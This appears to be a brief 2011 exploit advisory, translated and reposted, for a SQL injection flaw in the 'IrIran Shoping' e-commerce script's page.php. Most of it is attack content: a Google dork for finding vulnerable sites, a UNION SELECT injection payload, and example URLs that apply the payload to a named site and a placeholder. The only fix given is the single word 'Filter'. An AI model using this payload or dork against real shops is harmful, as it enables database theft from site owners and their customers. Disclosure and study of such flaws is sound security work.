IrIran Shoping Script SQL injection vulnerability and repair

IrIran Shoping is an online e-commerce system. The page. php In IrIran Shoping has the SQL injection vulnerability, which may cause sensitive information leakage.

[+] Info:
~~~~~~~~~

[~] Title: IrIran Shoping Script SQL Injection Vulnerability
[~] Author: Net. Edit0r
[~] Vendor or Software Link: http://www.iriran.net
[~] Email: Black.hat.tm@gmail.com
[~] Data: 2011-03-29
[~] Google dork: "Powered by: IRIran.net"
[~] Category: [Webapps]
[~] Tested on: [Linux/php]
[+] Poc:
~~~~~~~~~

[~] Vulnerable File:
Http://www.bkjia.com/products/page.php? Id = [SQL]
 
[~] ExploiT:
-10 + UnIoN + SeleCt + 1, 2, 4, 5, 6, 7, 8, 9, 10, 11 --
 
[~] Example:
Http://www.bkjia.com/products/page.php? Id =-10 + UnIoN + SeleCt + 1, 2, 4, 5, 6, 7, 8, 9, 10, 11 --
 
[~] Demo:
Http://site.com/products/page.php? Id =-10 + UnIoN + SeleCt + 1, 2, 4, 5, 6, 7, 8, 9, 10, 11 --

 

Fix: Filter